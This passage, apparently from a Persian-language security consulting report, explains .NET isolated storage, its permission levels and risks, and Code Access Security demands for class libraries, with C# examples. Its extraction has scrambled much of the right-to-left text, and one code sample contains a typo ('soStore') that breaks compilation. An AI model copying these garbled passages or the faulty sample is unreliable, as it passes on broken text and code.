هایی نظیر شوند. اعتبارنامهها همیشه توسط کاربر و اسمبلی جداسازی می، دادهی مجزاانبارهبا استفاده از 

های مشابه بر توان با اعتبارنامهیها را مکنند. دادهمنشا یا نام قوی اسمبلی شناسه اسمبلی را مشخص می

 اساس دامنه برنامه کاربردی مجزا کرد.

فرد ذخیره ه را در یک فضای داده منحصر ب هادادهکنید برنامه شما استفاده می ی مجزاانبارهوقتی شما از 

نتزاع است نه ای از شناسه کد مانند منتشرکننده یا امضا مرتبط شده است. فضای داده یک اکند که به جنبهمی

شود، انبار گفته می هاآنرا که به  ی مجزاانبارهسازی مشخص. این فضا یک یا چند فایل یک مکان ذخیره

 شود.شامل می

 ی مجزاانبارهسهمیه برای  

توان استفاده کرد. این سهمیه شامل یک محدودیت روی مقدار فضای مجزایی است که می ،یک سهمیه

ه علاوه سربار ناشی از پوشه و اطلاعات دیگر در انبار است. اگر شما سعی کنید های از فضای فایل ببایت

گردد. سیاست برمی IsolatedStorageExceptionیک استثنای  رودای بنویسید که از سهمیه فراتر میداده

 کند که چه مجوزهایی به کد داده شود. امنیتی تعیین می

 های امنیتيو ریسکمجاز  یاستفاده 

کند که کد ای را تعیین میشود، درجهمشخص می IsolatedStorageFilePermissionمجاز که با  یاستفاده

شده توصیفدهد که چگونه استفاده مجاز است. جدول زیر نشان می ی مجزاانبارهمجاز به ایجاد و استفاده از 

 کند:آن را به صورت خلاصه بیان میهای امنیتی مرتبط با شود و ریسکدر مجوز به انواع جدایی مرتبط می
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 تاثیر امنیتي انواع جدایي استفاده مجاز

None تاثیر امنیتی وجود ندارد. یی مجاز نیستی مجزاانباره 

DomainIsolationByUser  .جدایی براساس کاربر، دامنه و اسمبلی

هر اسمبلی یک زیرانبار مجزا در دامنه 

استفاده دارد. انبارهایی که از این مجوز 

کنند به صورت ضمنی براساس می

 کامپیوتر هم جدا هستند.

استفاده این مجوز منابع را در معرض 

دهد، با بیش از حد غیرمجاز قرار می

های اعمال شده سهمیه کهاینوجود 

کند. به این یک این کار را مشکل می

 شود.حمله انکار خدمت گفته می

DomainIsolationByRoamingUser ه مشابDomainIsolationByUser  ولی

شود که اگر انبار در محلی ذخیره می

پروفایل کاربر منتقل شونده فعال باشد 

ها اعمال نشوند، انبار هم و سهمیه

 منتقل شود.

ها باید غیرفعال شود، منابع چون سهمیه

انکار  یسازی در مقابل حملهذخیره

 پذیرتر هستند.خدمت آسیب

AssemblyIsolationByUser  .جدایی براساس کاربرو اسمبلی

انبارهایی که از این مجوز استفاده 

کنند به صورت ضمنی براساس می

 کامپیوتر هم جدا هستند.

ها در این سطح برای جلوگیری سهمیه

انکار خدمت فعال  یاز یک حمله

هستند. همین اسمبلی در یک دامنه 

تواند به این انبار دسترسی دیگر می

داشته باشد که امکان نشت اطلاعات 

 کند.ها را فراهم میبین برنامه

AssemblyIsolationByRoamingUser  مشابهAssemblyIsolationByUser 

شود که ولی انبار در محلی ذخیره می

بر منتقل شونده فعال اگر پروفایل کار

ها اعمال نشوند، انبار هم باشد و سهمیه

 منتقل شود.

، AssemblyIsolationByUserمشابه 

بدون سهمیه ریسک حمله انکار  ولی

 یابد.خدمت افزایش می

AdministerIsolatedStorageByUser  جدایی براساس کاربر. نوعا فقط

ابزارهای مدیریتی و رفع اشکال از این 

 کنند.وز استفاده میسطح مج

دسترسی با این مجوز به کد امکان 

ها و مشاهده یا حذف هر کدام از فایل

ی یک کاربر را ی مجزاانبارههای پوشه

ها عبارتند از نشت دهد. ریسکمی

 ها.اطلاعات و از دست رفتن داده

UnrestrictedIsolatedStorage این مجوز پتانسیل در معرض خطر ها و جدایی براساس تمام کاربران، دامنه
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ها. نوعا فقط ابزارهای مدیریتی یاسمبل

و رفع اشکال از این سطح مجوز 

 کنند.استفاده می

های مجزای همه قرار گرفتن تمام انباره

 کندکاربران را ایجاد می

 

 ی مجزاانبارهایجاد، شمارش و حذف  

برای کمک به اجرای وظایف  System.IO.IsolatedStorageنت سه کلاس در فضای نام چارچوب دات

 کند:فراهم می ی مجزاانبارهمرتبط با 

 IsolatedStorageFile که از :System.IO.IsolatedStorage.IsolatedStorage  مشتق شده و

گذارد. یک نمونه از کلاس های اسمبلی و برنامه را در اختیار میای فایلمدیریت پایه

IsolatedStorageFile یک انبار منفرد قرار گرفته در سیستم فایل است. ینماینده 

 IsolatedStorageFileStream که از :System.IO.FileStream شود و دسترسی به مشتق می

 کند.های داخل انبار را فراهم میفایل

 IsolatedStorageScopeرا با نوع جدایی  دهد یک انبار: یک شمارش است که به شما امکان می

 مناسب ایجاد و انتخاب کنید.

را ایجاد، شمارش و حذف کنید.  ی مجزاانبارهدهند که به شما این امکان را می ی مجزاانبارههای کلاس

در دسترس هستند. برای برخی  IsolatedStorageFile شیهایی برای انجام این وظایف از طریق تابع

 یدهنده مجوز مدیریت انبارهنشانکه  IsolatedStorageFilePermissionعملیات نیاز است که شما مجوز 

برای دسترسی به فایل یا پوشه  عاملسیستممجزا است را داشته باشید. ممکن است لازم باشد شما مجوزهای 

 را نیز نیاز داشته باشید.

 مجزا یسناریوهای استفاده از انباره 

 سناریوی زیر: 4مناسب است از جمله ها در بسیاری از وضعیت ی مجزاانباره

 امکان نوشتن روی  اندشدهشده که از اینترنت دانلود مدیریتهای کد های دانلود شده. کنترلکنترل

برای  ی مجزاانبارهتوانند از ندارند، ولی می I/Oهای معمولی دیسک سخت را از طریق کلاس

 ردی استفاده کنند.های برنامه کاربسازی تنظیمات کاربر و حالتذخیره
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 ی انبارهتوانند از شوند میها به اشتراک گذاشته میهایی که بین برنامهفضای مشترک مولفه. مولفه

 شده به انبارهای داده استفاده کنند.کنترلبرای فراهم کردن دسترسی  مجزا

 کردن برای فراهم زای مجانبارهتوانند از های کاربردی کارگزار میسازی کارگزار. برنامهفضای ذخیره

 فرستند استفاده کنند.کاربردی درخواست می یفضاهایی برای تعداد زیاد کاربرانی که برای برنامه

 های کاربری منتقل شده استفاده کنند. این به برای پروفایل ی مجزاانبارهتوانند از ها می: برنامه1انتقال

 دهد که با پروفایل کاربر منتقل شوند.های مجزای کاربر این امکان را میانباره

 در شرایط زیر نباید استفاده کنید ی مجزاانبارهاز 

 در  ی مجزانبارهاعبور رمز نشده، چون های کلمهسازی رازهای با ارزش بالا نظیر کلیدهای یا ذخیره

نشده یا کاربران مورد اعتماد کامپیوتر محافظت مدیریتهای مورد اعتماد بالا، کدهای مقابل کد

 شود.نمی

 سازی کد.برای ذخیره 

 کنند.سازی تنظیمات پیکربندی و استقرار که مدیران کنترل میبرای ذخیره 

 ی مجزاانبارهپردازش برروی داده ذخیره شده در  

 یشده است از ش رهیذخ ی مجزاانبارهکه در  لیفا کی یخواندن و نوشتن بر رو یبرا

IsolatedStorageFileStream  کیکه STEAM READER میکنیاست استفاده م. 

به  یلیکه فا کندیم بررسی ی مجزاانباره کیکه در آن  دیریرا در نظر بگ ریعنوان مثال کد ز به

ی انباره» سدینو یو درون آن م کندیم جادیرا ا لیاگر وجود ندارد آن فا .نه ایدارد  دوجو TestStore.txtنام

 .دیکن هدهرا مشا ریکد ز .خواندیوجود داشته باشد از آن م لیفا نیاگر ا .«سلام مجزا

using System; 

using System.IO; 

using System.IO.IsolatedStorage; 

 

 

namespace ConsoleApplication1 

{ 

    class Program 

    { 

                                                   

 

 

1 Roaming 
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        static void Main(string[] args) 

        { 

            IsolatedStorageFile isoStore = 

IsolatedStorageFile.GetStore(IsolatedStorageScope.User | 

IsolatedStorageScope.Assembly, null, null); 

 

            if (isoStore.FileExists("TestStore.txt")) 

            { 

                Console.WriteLine("The file already exists!"); 

                using (IsolatedStorageFileStream isoStream = new 

IsolatedStorageFileStream("TestStore.txt", FileMode.Open, isoStore)) 

                { 

                    using (StreamReader reader = new 

StreamReader(isoStream)) 

                    { 

                        Console.WriteLine("Reading contents:"); 

                        Console.WriteLine(reader.ReadToEnd()); 

                    } 

                } 

            } 

            else 

            { 

                using (IsolatedStorageFileStream isoStream = new 

IsolatedStorageFileStream("TestStore.txt", FileMode.CreateNew, isoStore)) 

                { 

                    using (StreamWriter writer = new 

StreamWriter(isoStream)) 

                    { 

                        writer.WriteLine("Hello Isolated Storage"); 

                        Console.WriteLine("You have written to the 

file."); 

                    } 

                } 

            }    

        } 

    } 

} 

به  پوشهو  لینام فا ی مجزاانبارهدر  .دیحذف کن ی مجزاانباره کیها را در ها و پوشهلیفا دیتوانیشما م

 اند.مشخص شده ستمیس یمجاز یهالیفا یشهیوابسته هستند و نسبت به ر عاملسیستم

ها پوشهها و لیحذف کردن فا یبرادو تابع  System.IO.IsolatedStorage.IsolatedStorageFile کلاس

 . DeleteFileو DeleteDirectoryدو تابع عبارتند از  نی. ادهدیم

 دیرا حذف کن پوشه ای لیفا کی دیکن یافتد که شما سعیاتفاق م یوقت IsolatedStorageException یاستثنا

رخ خواهد  ییثناتاس نیباشد چن wildcard یهاکتراکار یدارا لیفا کیکه  یوقت ایو  وجود نداشته باشد یول

 داد.
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شما  باشد شکست خواهد خورد. زیرپوشه کی ایو  لیفا کیشامل  پوشهکه  یوقت DeleteDirectory تابع

موجود  یهاپوشهها و لیبدست آوردن فا یبرا GetDirectoryNamesو  GetFileNamesاز توابع  دیتوانیم

 .دیاستفاده کن

 .کندیرا حذف م هاآنو سپس  جادیا پوشه نیچند ریکد ز

using System; 

using System.IO.IsolatedStorage; 

using System.IO; 

 

public class DeletingFilesDirectories 

{ 

    public static void Main() 

    { 

        // Get a new isolated store for this user domain and assembly. 

        // Put the store into an isolatedStorageFile object. 

 

        IsolatedStorageFile isoStore =  

IsolatedStorageFile.GetStore(IsolatedStorageScope.User | 

            IsolatedStorageScope.Domain | IsolatedStorageScope.Assembly, 

null, null); 

 

        Console.WriteLine("Creating Directories:"); 

 

        // This code creates several different directories. 

 

        isoStore.CreateDirectory("TopLevelDirectory"); 

        Console.WriteLine("TopLevelDirectory"); 

        isoStore.CreateDirectory("TopLevelDirectory/SecondLevel"); 

        Console.WriteLine("TopLevelDirectory/SecondLevel"); 

 

        // This code creates two new directories, one inside the other. 

 

        

isoStore.CreateDirectory("AnotherTopLevelDirectory/InsideDirectory"); 

        Console.WriteLine("AnotherTopLevelDirectory/InsideDirectory"); 

        Console.WriteLine(); 

 

        // This code creates a few files and places them in the 

directories. 

 

        Console.WriteLine("Creating Files:"); 

 

        // This file is placed in the root. 

 

        IsolatedStorageFileStream isoStream1 = new 

IsolatedStorageFileStream("InTheRoot.txt", 

            FileMode.Create, isoStore); 

        Console.WriteLine("InTheRoot.txt"); 

 

        isoStream1.Close(); 

 

        // This file is placed in the InsideDirectory. 

 

        IsolatedStorageFileStream isoStream2 = new 

IsolatedStorageFileStream( 
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            "AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt", 

FileMode.Create, isoStore); 

        

Console.WriteLine("AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt")

; 

        Console.WriteLine(); 

 

        isoStream2.Close(); 

 

        Console.WriteLine("Deleting File:"); 

 

        // This code deletes the HereIAm.txt file. 

        

isoStore.DeleteFile("AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt

"); 

        

Console.WriteLine("AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt")

; 

        Console.WriteLine(); 

 

        Console.WriteLine("Deleting Directory:"); 

 

        // This code deletes the InsideDirectory. 

 

        

soStore.DeleteDirectory("AnotherTopLevelDirectory/InsideDirectory/"); 

        Console.WriteLine("AnotherTopLevelDirectory/InsideDirectory/"); 

        Console.WriteLine(); 

 

    } // End of main. 

} 

 نتهای کلاس داتامنیت کتابخانه 4-۲-3

کد را درک کنند. هنگام  یدسترس تیامن دیکلاس امن با یهانوشتن کتابخانه یکلاس برا یطراحان کتابخانه

کمک به  یرا مورد توجه قرار داد: استفاده از مجوزها برا یتیدو اصل امن دیبا نوشتن کتابخانه کلاس،

 دیسینویکه م یکلاس به لاصو نیاز ا کیکاربرد هر  زانیم کاملا مطمئن. کدو نوشتن  شیمحافظت از 

محافظت به  ازمندیدارد که ن یالیاش System.IO.FileStream مانند کلاسها برخی کلاسدارد.  یبستگ

 رشیها و پذندهمجوز فراخوان یسئول بررسها مکلاس نیا یسازادهی. پباشدیمجوزها م یلهیوس

 System.Securityنام  یفضا است. ارند،آن را د یکه مجوز اجرا یاتیعمل یاجرا یمجاز برا یهادهنفراخوان

کمک  ،دیسینویکه م یها در کتابخانه کلاسیبررس نیا یاجرا یاست که به شما برا ییهاکلاس یحاو

 یکد کتابخانه کهاز آنجاییبالاست.  نانیحداقل با اطم ایکلاس کاملا مطمئن و  یاغلب کد کتابخانه. کندیم

 هر گونه نقص در برنامه ،دارند ینشده دسترس تیریمد یهانامهشده و برمحافظتکلاس معمولا به منابع 

 یدهایکمک به کاهش تهد ی. براشودیمحسوب م یجد دیتهد کی یتیامن ستمیس یهمه یکپارچگی یبرا

 .دیکن یریگیعنوان را پ نیشده در احیتشر یهادستورالعملهنگام نوشتن کد کتابخانه کلاس  یتیامن



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

53 

 

 
 

 با مجوزها ایمحافظت از اش

 یرا بر رو اتیکتابخانه کلاس که عمل کی. شوندیم نییخاص تع یکمک به محافظت از منابع یها برامجوز

 محافظت باشد.  نیا یاجرال سیوممسیول دیبا کند،یمنابع محافظت شده اجرا م

کد کتابخانه  دیبا ابتدا ل،یفا کیمانند حذف  شده،محافظتمنبع  برای یک یاز اقدام به هر درخواست شیپ

ها کنندهفراخوان یهمه لاًمعمو منبع )و یکننده را از نظر دارا بودن مجوز مناسب حذف برایفراخوانکلاس 

 کند. یبررسحرکت در پشته(  یلهیبه وس

 اتیاجازه دارد کامل شود. اگر فراخواننده مجوز نداشته باشد عمل اتیعمل فراخواننده مجوز داشته باشد، اگر

یا  1اعلانی یشود. معمولا محافظت در برنامه با بررس برگردانده دیبا یتیامن و استثنا ستین لیمجاز به تکم

 . شودیم یسازادهیمناسب، پ یمجوزها 2یدستور

مهم  ،دیگری یهر روش دسترس بلکه از میمستق یدسترس ازاز منابع محافظت کنند، نه فقط  هاکلاس کهاین

اگر اطلاعات  یحت باشد،یم لیمجوز خواندن فا یبرا یعامل بررس ،کش لیفا شی کیمثال  یاست. برا

 ارایهاین به این خاطر است که تاثیر رخ ندهد.  یقیحق لیفا اتیو عمل شوندیم بیایاز کش حافظه باز یقیحق

 داده به فراخواننده مشابه آن است که فراخواننده عمل حقیقی خواندن را انجام داده باشد.

  کد کتابخانه کلاس کاملا مطمئن

عملکرد خاص بستر را به که  شوندیم سازیپیادهمطمئن  کاملاًبه صورت کد کلاس  یهااز کتابخانه یاریبس

تواند یک نقطه می مطمئن، کاملاً کد. های سیستمAPI ای COMمانند  گیرند.در برمی شدهمدیریت اشیاعنوان 

ایجاد یک سد  نوشته شود، درستی از نظر امنیتی به. اگر کتابخانه کلاس ضعف امنیت برای کل سیستم باشد

این امکان را  های کلاس و امنیت هسته زمان اجرا،امنیتی سنگین روی یک مجموعه نسبتاً کوچک از کتابخانه

 های کلاس بهره ببرند.دهد که قطعات بزرگتر کدهای مدیریت شده از مزایای امنیتی این کتابخانهمی

یک که با  دهدیم ارایهرا  یمطمئن منبع کلاس کاملاً کیلاس، کتابخانه کامنیتی معمول  یوهایدر سنار 

 لیفا کینوع منبع  نیمعمول ا ینمونه. است APIمورد استفاده یک منبع با این  ،استمجوز محافظت شده 

                                                   

 

 

1 Declarative 

2 Imperative 
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های زیر برای محافظت گام .کندیمانند حذف استفاده م یاتیانجام عمل یبرا API یک از Fileاست. کلاس 

 شود:از این منبع برداشته می

 . دهدرا می c:\test.txt لیدرخواست حذف فا File.Delete تابعفراخواننده با فراخوان یک  .1

 .است c:\test.txtمجوز حذف  نماینده که کندمی دیرا تول یمجوز یش «حذف» تابع .2

مجوز دارند  درخواستتا اگر  کندیم یپشته بررسها را در فراخواننده یهمه File کلاس یبرنامه .3

 . شودبرگردانده می یتیامن یاعطا شده است و اگر نه استثنا هاآنبه  ندیبب

 ندگانممکن است فراخوان رایز .کندیم بررسیرا  FullTrust یمحل کدفراخوان  یبرا Fileکلاس  .4

 آن مجوز را نداشته باشند. 

 . کندیاستفاده م لیحذف فا اتیعمل یاجرا یبرا بومی API کیاز  Fileکلاس  .5

 .شودیکامل م تیبا موفق لیو درخواست حذف فا گرددیخود برم یکنندهبه فراخوان Fileکلاس  .6

 مطمئن  اریبس کد یبرا ياطیاحت اتاقدام

اعطا  ستندیدر دسترس ن یافزارنرم یهااغلب برنامه یکه برا ییمجوزها در کتابخانه کلاس مطمئن، کدبه 

ندارند اما  ازیخاص ن یهاباشد که به مجوز ییهاکلاس یحاو یاسمبل کی. به علاوه ممکن است شودیم

را در  یتیضعف امن کی طیاشر نیدارند. ا ازین هاآنکند که به  افتیدر ییهاکلاس یمجوزها را برا نیا

داشته  ژهیبالا توجه و نانیاطم ایهنگام نوشتن برنامه کاملا مطمئن و  دیبا شما ن،ی. بنابرادهدینشان م ستمیس

 .دیباش

امنیتی  یحفره ،مطمئن در سیستم یبا فراخوانی آن توسط کدهای نیمه کهرا طوری طراحی کنید مطمئن  کد

کننده فراخوان. اگر دنشویمحافظت م ندگانتمام فراخوان با حرکت در پشته. معمولا منابع به وجود نیاید

مطمئن مجوز  کدکه  یوجود هر زمان نی. با اشودیمسدود م یدسترس یتلاش برا نداشته باشد، یمجوز کاف

  باشد.یم یدرخواست یمجوزها یبررس مسیول کد کند، افتیدر

برنامه مجاز است که  نی. به علاوه اکندیم افتیرا در گرید یهاتمام مجوز یمطمئن به طور ضمن کاملاً  کد 

را  یارابط برنامه هایجنبهاز  کی، هر از محافظت منابع مستقلقض کند. را ن یو کاربرد ش 1ایمنی نوع نیقوان

                                                   

 

 

1 Type Safety 



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

55 

 

 
 

 ندهفراخوان یکه به طور معمول برا ییهابه داده یدسترس ایشود و  ایمنی نوعکه ممکن است موجب اختلال 

 .شودیم یتیمنجر به مشکلات امن ،ممکن سازد ستندیدر دسترس ن

 کارایي

 نی. با توجه به عمق پشته اشودمیکنندگان همه فرخوان مجوز یها براپشته یبررس شامل یتیامن یهایررسب

در  یاتعمل یعمل شامل تعداد کیاگر  قتیبر باشد. در حقنهیهز یلیخ تواندیبه طور بالقوه م اتیعمل

گیری ممکن است کارایی به صورت چشم باشد،داشته  تیامن یبه بررس ازینآن باشد که تر از نییسطح پا

بررسی شود و سپس قبل از انجام عملیات مجوز لازم درخواست باریکبهبود یابد اگر مجوزهای فراخواننده 

همانجا متوقف و موفق  یو بررس گیردحرکت در پشته به بالاتر را میانتشار  این درخواست جلوی. شود

 .شودیم کاراییبهبود  وجبم کیتکن نیپوشش داد ا زمانهمرا بتوان  یچند بررس ای. اگر سه شودیم

 کتابخانه کلاس يتیامن مسائل یخلاصه

 از تعلق آن مجوز به  دیبا کندمیشده استفاده محافظتکلاس که از منابع  یهر کتابخانه

 داشته باشد. نانیکننده اطمفراخوان

 مقدم  موردنیازمجوز  یهایبررس باید و ردیصورت پذ دیاست با ازیکه ن یمجوز تنها زمان دییتا

 باشند. 

 که یاتیعمل ت،یبدون به خطر انداختن امنحرکت در پشته جهت محدود کردن  ،کاراییبهبود  یبرا 

 . رندیمورد توجه قرار گ دییشوند و استفاده از تا عیهستند تجم یتیامن یشامل بررس

  دور کلاس جهت  کیمطمئن از  یمهین کنندگان مخربکه ممکن است فراخوان دیداشته باش ادیبه

 . کننداستفاده  تیامن زدن

 کنندکد را فراخوانی می شخصم هایکنندگان با مجوزفراخوانکه تنها  دیتصور نکن . 

 ا ممکن است موجب دور زدن امنیت در جای دیگر بشوندریز دینکن فیامن را تعر ریغ یها1واسط. 

 نانیبا اطم یتا از کلاس دهداجازه میمطمئن  یمهین یکنندهفراخوانبه که  یکلاس یک عملکرد در 

 .را در دسترس قرار ندهیدکند  سواستفادهبالاتر 
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 های کلاس امننوشتن کتابخانه 5-۲-3

زیرا  .در دسترس قرار دهدپذیری امنیتی را تواند آسیبهای کلاس مینویسی خطاها در کتابخانهبرنامه

اگر شما  شده و کدهای مدیریت نشده دسترسی دارند.محافظتهای کلاس اغلب به منابع کتابخانه

را درک کنید و مراقب باشید که  امنیت دسترسی به کدتا  نیاز استکنید، میهای کلاس را طراحی کتابخانه

 کتابخانه کلاس خود را ایمن بدارید.

سازید در نظر می که یک کتابخانه کلاس را ایمنجدول زیر سه عنصر اصلی را که شما لازم است وقتی

 دهد:بگیرید، توضیح می

 توضیح عنصر امنیت

به عنوان یک مکانیزم برای  هاتابعو  کلاسسطح ها در درخواست یامنیت درخواست

خواهید داشته های کد برای داشتن مجوزهایی که میدرخواست از فراخواننده

، شوندمیباعث یک حرکت در پشته ها درخواست. شونداعمال میباشند، 

طور مستقیم و یا غیرمستقیم با کد شما در ها که بهگیرندهتماس یکه همه

 شوند.شود در پشته بررسی میزمانی که کد شما صدا زده می اند،تماس

شوند تا به حفظ های کلاس استفاده میمعمولاً در کتابخانه هادرخواست

 منابع کمک کنند.

عنوان یک راه برای به شونداعمال می تابعکلاس و  یحوزهها در لغو کردن 1لغو )باطل کردن( امنیت

ها آنشوند. گرفته میکه در زمان اجرا  خاصرد کردن تصمیمات امنیتی 

ها . از آنشوندصدا زده میکنند، از کد شما استفاده می هافراخوانندهزمانی که 

سترسی و محدود کردن د حرکت در پشتهمنظور جلوگیری از به

استفاده  ،اعطا شده است هاآنخاص به  هایکه مجوز هاییفراخواننده

 شود.می

تواند خطرناک باشد و باید با مراقبت مورداستفاده قرار : لغو کردن میتوجه
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 گیرد.

کد شما و  تعاملدر طول  را تواند کاراییها و لغوها میدرخواستترکیب  سازی امنیتبهینه

 برد.ببالا  ،سیستم امنیتی

 های امنیتيدرخواست 

 توانندیشده است م ها دادهمجوز مشخص به آن کیکه  ییهاکنندهفقط فراخوان کهایناز  افتنی نانیاطم یبرا

 کیکد شما  یکنندهکه فراخوان دیکن درخواست یدستور یا یاعلان دیتوانیکنند، شما م یکد شما فراخوان

 کیکه زمان اجرا  شودیباعث م درخواست کی. داشته باشدا را از مجوزه یامجموعه ایمخصوص  یاجازه

، زمان یتیامن یبررس کیکد اجرا کند. در طول  یدر فراخوان هاتیکردن محدود اعمال یرا برا یتیامن یبررس

و مشخص  کندیم یکننده در پشته را بررسهر فراخوان یمجوزها کند،یرا جستجو م پشته فراخوانی اجرا

را  یاکنندهفراخوان کی. اگر ریخ ایشده است  داده کنندهفراخوانشده به هر درخواستمجوز  ایکه آ کندیم

 کیو  شودیبا شکست مواجه م یتیامن یبررس را که درخواست کرده است، نداشته باشد، یکه مجوز میابیب

 یهادرخواستندارند،  یاجهینت حرکت در پشته کیکه در  ییهادرخواست. فقط دهدیرخ م یتیاستثنا امن

 . کنندیم یرا بررس بلافصل یهاکنندهکه فقط فراخوان ندهست نکیل

 از کد، یقبل از اجراشدن بخش خاص ایو  شودیم یخاص فراخوان تابعتابع کیکه  یزمان هر دیتوانیم شما

 خاص، یاز کلاس یهر عضو کهیوقت یتیامن یبررس دیخواهیاگر شما م .یک بررسی امنیتی را ایجاد کنید

از هر  یآن به هر عضو کهیطوررا قبل از کلاس به درخواست دیتوانیشما م فتدیاتفاق ب شود،یم یفراخوان

  .دیقرار بده شود،یکلاس اعمال م

 نیشده دارد و اگر امنبع محافظت کیبه  میمستق یکه دسترس دیکتابخانه هست کیشما در حال نوشتن  اگر

همه  یتا به بررس دیکن جادیدر کتابخانه ا یتیامن درخواست کی دیکننده داده شد، شما بابه فراخوان یدسترس

 هایدرخواستکنند، کمک کند.  دایپ یکه اجازه دارند به آن منبع دسترس پشته فراخوانیکنندگان در فراخوان

 یسازنده کیدر  دیها هرگز نبادرخواستکه  دیباشند. توجه داشته باش یدستور ای یاعلان تواندیشما م

 ییخاص ضمانت اجرا ینهیدر هر زم ایخاص  یکد سازنده کلاس در هر نقطه رایشوند، ز جادیکلاس ا

است،  نشدهفیتعر یخوبکلاس به یسازنده کیدر فراخوانی  یپشته تیوضع کهاز آنجاییندارند. 

 دیتول مطلوبو نا رمنتظرهیغ یهاجهینت ندتوانیاند مشدهکه در سازندگان کلاس قرار داده ییهادرخواست

 کنند.
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 :دیاستفاده کن، دیکنیم جادیکه شما ا یدرخواستاز نوع  نظرصرف ،ریز یاز راهنما دیبا شما

  ،که  دیحاصل کن نانیاطمبا درخواست از فراخواننده برای داشتن یک مجوز هویتی خاص

ناشر خاص  کی لهیوسبه ایگرفته باشند،  منطقه و با محل خاص نشأت کیکنندگان از فراخوان

 یهایدسترس اعطایدر حال انجام دهید که  یرا وقت نیا دیشما با وجودنیباا .شده باشند امضا

بر اساس  یشما در حال رد کردن دسترس کهیوقت نه د،یهست تیهو کی قیتطببر اساس  یاضاف

رد کردن  ،آسان استنسبتاً کد  تیدن هودادن و پوشان رییتغ کهییجاآناز. هستید تیهو کی قیتطب

ی که به آن و منابعمحافظت از کد شما  یاعتماد براراه قابل کی هویت،بر اساس  فقط یدسترس

 .های غیرمجاز نیستدسترسیاز  دسترسی دارد

 لهیوسمجوز خاص به کیکه  ییهافراخوان کننده لهیوسفقط به یش کیکه  دیحاصل کن نانیاطم 

که  دیمثال، فرض کن یبرا د.شو جادیا ندتوایدارند، م یدر سطح کلاس آن ش درخواستقرار دادن 

مشتق شده است و شما  FileStreamکه از کلاس  دیدار myFileStreamبه نام  یشما کلاس

را  myFileStreamاز  ییهانمونه توانندیکنندگان مجاز مکه فقط فراخوان دیابی نانیاطم دیخواهیم

که  FileIOPermission شی کی یرا برا یاعلان درخواست کی دیتوانیکنند. شما م جادیا

در سطح کلاس  است، myFileStream ایجاد شده توسط انیبه جر یدهنده حق دسترسنشان

myFileStream دیقرار ده. 

  کندمی 1را دریافت یا تنظیم یژگیو کیکه  قرار دهید یها در کددرخواست دیتوانیم چنینهمشما ،

روی دسترسی به بر  کنندهمجوزهای کمتر محدود یها را برادرخواستشما  یطورکل. بهدیقرار ده

get  نسبت بهset ردرا نگه دا ی عبورکلمهاطلاعات حساس مثل  یژگیو کهاین، مگر دیدهیقرار م. 

 درخواست لینک 

 کد بلافصل یهاکنندهفراخوانو تنها  شودیم یآن لیکامپا کی یط یتیامن یبررس باعث ،لینکدرخواست  کی

 تابع وگر اشاره ارجاعات، شامل 2نوعارجاع  کیشما محدود به  یکه برنامه ی. هنگامکندمی یشما را بررس

شما نداشته باشد  کدبه  لینکمجوز مناسب جهت  ندهفراخوان اگر. دهدیرخ م لینک ،است هاتابع فراخوانی
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به شما  کدکه از  ییها. در کلاسدهدیم رخ یبرنامه استثنال یو اجرا یگذارو هنگام بار شودمیمجاز ن نکیل

 کرد. یسیرا بازنو لینکدرخواست  توانیم ،شودیم ارث برده

شما همینان در  ینامهو بر شودیکامل اجرا نمحرکت در پشته  کیدرخواست نوع  نیکه با ا دیکن توجه

به  دیرا که با یمیمستق یندهتنها مجوز فراخوان لینکقرار دارد. درخواست  ت فریبمعرض خطر حملا

برای اجرا باید  فراخوانندگان ی که همهیتمام مجوزها درخواست نیا. کندیم نیشود را مع لینکبرنامه شما 

 . کندینم نییرا تع داشته باشند

گاه آن ،دسترسی پیدا شود 1که با یک درخواست لینک محافظت شده است از طریق انعکاس تابعاگر به یک 

یک درخواست پیوند فراخواننده بلافصل کدی که از طریق انعکاس به آن دسترسی پیدا شده است را بررسی 

که از  یامهبرنا دیمثال فرض کن یبرا است. صادق تابعو هم برای فراخوانی  تابعاین هم برای کشف . کندمی

 لینکاست که با درخواست  یاهیرو یندهیکه نما کندیاستفاده م MethodInfo شی برگرداندن یانعکاس برا

 تابعفراخوانی  یبرا شیاز  یگرید یهابرنامه یرا برا MethodInfo یو سپس همان ش شودیمحافظت م

بار  کیدهد، یدوبار رخ م لینکدرخواست  یمورد بررس نیا در گذارد.یم اریدر اخت ند،نکیاستفاده م یاصل

 کرده است. یکه آن را فراخوان یکد یبراباریکو  گرداندیرا بازم MethodInfo شیکه  یکد یبرا

 رایز ،کندیاز سازنده محافظت نم کلاس،ایستای  یاجرا شده در سازنده لینککه درخواست  دیتوجه کن

 یهنگام جهی. در نتشوندیم یفراخوان ستمی، توسط سیکد برنامه کاربرد یاجرا ریها در خارج از مسسازنده

 محافظت ستایا یسازنده به یاز دسترس تواندی، نممیریگیکار مه کل کلاس ب یبرا لینکدرخواست  کیکه 

 کند.یکلاس محافظت م یماندهیکند گرچه از باق

 مجوز دیبا لینک دارد ReadData تابع هبای که که هر برنامه کندیم نییتع به صورت اعلانی کد زیر قطعه

CustomPermission نت وجود است و در چارچوب دات یفرض خاصمجوز  کیمجوز،  نیداشته باشد. ا

  ندارد.

[CustomPermissionAttribute(SecurityAction.LinkDemand)] 

public static string ReadData() 

{ 

   //Access a custom resource. 

} 
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 های وراثتدرخواست 

های وراثت دارند که به شوند معنای متفاوتی با درخواستها اعمال میهای وراثت که به کلاسدرخواست

های وراثت را در سطح کلاس بگذارید تا مطمئن شوید که توانید درخواستشوند. شما میها اعمال میتابع

ها گذاشته تابعهای وراثت که روی رود. درخواستتواند از کلاس شما به ارث بفقط کد با مجوز خاص می

 را بازنویسی کند. تابعکنند که کد با مجوز خاص بتواند الزام می شوندمی

 های وراثت کلاسدرخواست

های مشتق از کلاس پدر کند تمام کلاسیک درخواست وراثت روی یک کلاس این اثر را دارد که الزام می

 Aمشتق شود و کلاس  Aقرار است از کلاس  Bآن مجوز خاص را داشته باشند. برای مثال اگر کلاس 

باید به منظور اجرا آن مجوز را داشته باشد. اگر  Bتوسط یک درخواست وراثت محافظت شده است، آنگاه 

